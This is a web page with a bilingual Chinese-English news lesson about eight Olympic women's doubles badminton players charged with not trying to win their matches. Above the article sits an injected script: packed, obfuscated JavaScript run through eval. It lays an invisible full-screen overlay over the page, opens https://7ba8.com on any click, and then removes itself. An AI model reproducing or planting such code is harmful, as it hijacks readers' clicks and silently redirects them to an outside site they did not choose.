<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>国际羽联已指控八名奥运会羽毛球女子选手,认为他们"没有尽全力赢得比赛",其中包括两对韩国运动员,一对中国运动员和一对印度尼西亚运动员,他们已被取消比赛资格。
请看报道:
The Badminton World Federation has charged eight female Olympic doubles players with "not using one's best efforts to win a match". Four pairs of players - two from South Korea, one from China and one from Indonesia - could be disciplined.
国际羽联已指控八名奥运会女子选手,认为他们"没有尽全力赢得比赛",其中包括两对韩国运动员,一对中国运动员和一对印度尼西亚运动员,他们都可能受到处罚。
Not using one’s best efforts to win a match(没有尽全力赢得比赛)其实就是“消极怠战”,国际羽联认为这是conducting oneself in a manner that is clearly abusive or detrimental to the sport(明显有悖体育精神的行为),已正式宣布disqualify these players(取消这些选手的比赛资格)。
据报道,在这几组选手都已进入knockout stages/quarter-finals(淘汰赛阶段)。比赛过程中,她们均出现serve into the net(发球下网)和hit the shuttlecock out of the court(回球出界)等失误,以至于场上裁判都发出警告,甚至曾一度表示要出示black card(黑牌)取消这些选手的比赛资格。 |